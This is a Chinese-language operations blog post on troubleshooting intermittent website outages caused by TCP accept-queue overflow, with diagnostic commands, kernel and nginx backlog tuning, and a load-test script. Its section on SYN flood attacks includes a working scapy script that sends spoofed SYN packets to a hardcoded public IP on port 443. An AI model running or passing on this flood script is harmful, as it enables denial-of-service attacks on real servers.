1
問題描述
監控系統發現電商網站主頁及其它頁面間歇性的無法訪問；
查看安全防護和網絡流量、應用系統負載均正常；
系統重啟後，能夠暫時解決，但持續一段時間後間歇性問題再次出現。
此時問題已影響到整個網站的正常業務，我那個心驚呀，最主要是報警系統沒有任何報警，服務運行一切正常，瞬時背上的汗已經出來了。但還是要靜心，來仔細尋找蛛絲馬跡，來一步一步找問題。
2
問題初步判斷
檢查dev 和 網卡設備層，是否有error和drop ，分析在硬件和系統層是否異常 ----- 命令 cat /proc/net/dev 和 ifconfig
觀察socket overflow 和 socket droped（如果應用處理全連接隊列（accept queue）過慢 socket overflow，影響半連接隊列(syn queue)溢出socket dropped）----- 命令 netstat -s |grep -i listen
檢查sysctl內核參數：backlog ，somaxconn，file-max 和 應用程序的backlog ；
ss -lnt查詢，SEND-Q會取上述參數的最小值
檢查 selinux 和 NetworkManager 是否啟用 ，建議禁用；
檢查timestap ,reuse 啟用，內核recycle是否啟用，如果過NAT，禁用recycle；
-
抓包判斷請求進來後應用處理的情況，是否收到SYN未響應情況。
3
深入分析問題
正常TCP建連接三次握手過程：
第一步：客戶端 發送 syn 到 服務端發起握手；
第二步：服務端 收到 syn後回覆syn+ack給 客戶端；
第三步：客戶端 收到syn+ack後，回覆 服務端一個ack表示收到了 服務端的syn+ack 。
從描述的情況來看，TCP建連接的時候全連接隊列（accept隊列）滿了，尤其是描述中症狀為了證明是這個原因。反覆看了幾次之後發現這個overflowed 一直在增加，那麼可以明確的是server上全連接隊列一定溢出了。
接著查看溢出後，OS怎麼處理：
# cat /proc/sys/net/ipv4/tcp_abort_on_overflow
0
tcp_abort_on_overflow 為0表示如果三次握手第三步的時候全連接隊列滿了那麼server扔掉client 發過來的ack（在server端認為連接還沒建立起來）
為了證明客戶端應用代碼的異常跟全連接隊列滿有關係，我先把tcp_abort_on_overflow修改成 1，1表示第三步的時候如果全連接隊列滿了，server發送一個reset包給client，表示廢掉這個握手過程和這個連接（本來在server端這個連接就還沒建立起來）。
接著測試然後在web服務日誌中異常中可以看到很多connection reset by peer的錯誤，到此證明客戶端錯誤是這個原因導致的。
查看sysctl內核參數：backlog ，somaxconn，file-max 和 nginx的backlog配置參數，ss -ln取最小值，發現為128，此時resv-q已經在129 ，請求被丟棄。將上述參數修改，並進行優化：
linux內核參進行優化：
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_max_syn_backlog = 16384
net.core.somaxconn = 16384
nginx 配置參數優化：backlog=32768;
利用python 多線程壓測，並未發現新的問題：
import requests from bs4 import BeautifulSoupfrom concurrent.futures import ThreadPoolExecutorurl='https://www.wuage.com/'response=requests.get(url)soup=BeautifulSoup(response.text,'html.parser')with ThreadPoolExecutor(20) as ex: for each_a_tag in soup.find_all('a'): try: ex.submit(requests.get,each_a_tag['href']) except Exception as err: print('return error msg:'+str(err))
理解TCP握手過程中建連接的流程和隊列
如上圖所示，這裡有兩個隊列：syns queue(半連接隊列）；accept queue（全連接隊列）
三次握手中，在第一步server收到client的syn後，把相關信息放到半連接隊列中，同時回覆syn+ack給client（第二步）；
第三步的時候server收到client的ack，如果這時全連接隊列沒滿，那麼從半連接隊列拿出相關信息放入到全連接隊列中，否則按tcp_abort_on_overflow指示的執行。
這時如果全連接隊列滿了並且tcp_abort_on_overflow是0的話，server過一段時間再次發送syn+ack給client（也就是重新走握手的第二步），如果client超時等待比較短，就很容易異常了。
4
sYN Flood洪水攻擊
當前最流行的DoS（拒絕服務攻擊）與DDoS（分佈式拒絕服務攻擊）的方式之一，這是一種利用TCP協議缺陷，導致被攻擊服務器保持大量SYN_RECV狀態的“半連接”，並且會重試默認5次回應第二個握手包，塞滿TCP等待連接隊列，資源耗盡（CPU滿負荷或內存不足），讓正常的業務請求連接不進來。
from concurrent.futures import ThreadPoolExecutor from scapy.all import * def synFlood(tgt,dPort): srcList = ['11.1.1.2','22.1.1.102','33.1.1.2', '125.130.5.199'] for sPort in range(1024, 65535): index = random.randrange(4) ipLayer = IP(src=srcList[index], dst=tgt) tcpLayer = TCP(sport=sPort, dport=dPort,flags='S') packet = ipLayer/tcpLayer send(packet) tgt = '139.196.251.198' print(tgt) dPort = 443 with ThreadPoolExecutor(10000000) as ex: try: ex.submit(synFlood(tgt,dPort)) except Exception as err: print('return error msg:' + str(err))
所以大家要對TCP半連接隊列和全連接隊列的問題很容易被忽視，但是又很關鍵，特別是對於一些短連接應用更容易爆發。
出現問題後，從網絡流量、cpu、線程、負載來看都比較正常，在用戶端來看rt比較高，但是從服務器端的日誌看rt又很短。如何避免在出現問題時手忙腳亂，建立起應急機機制，後續有機會寫一下應急方面的文章。
閱讀更多 高效運維 的文章
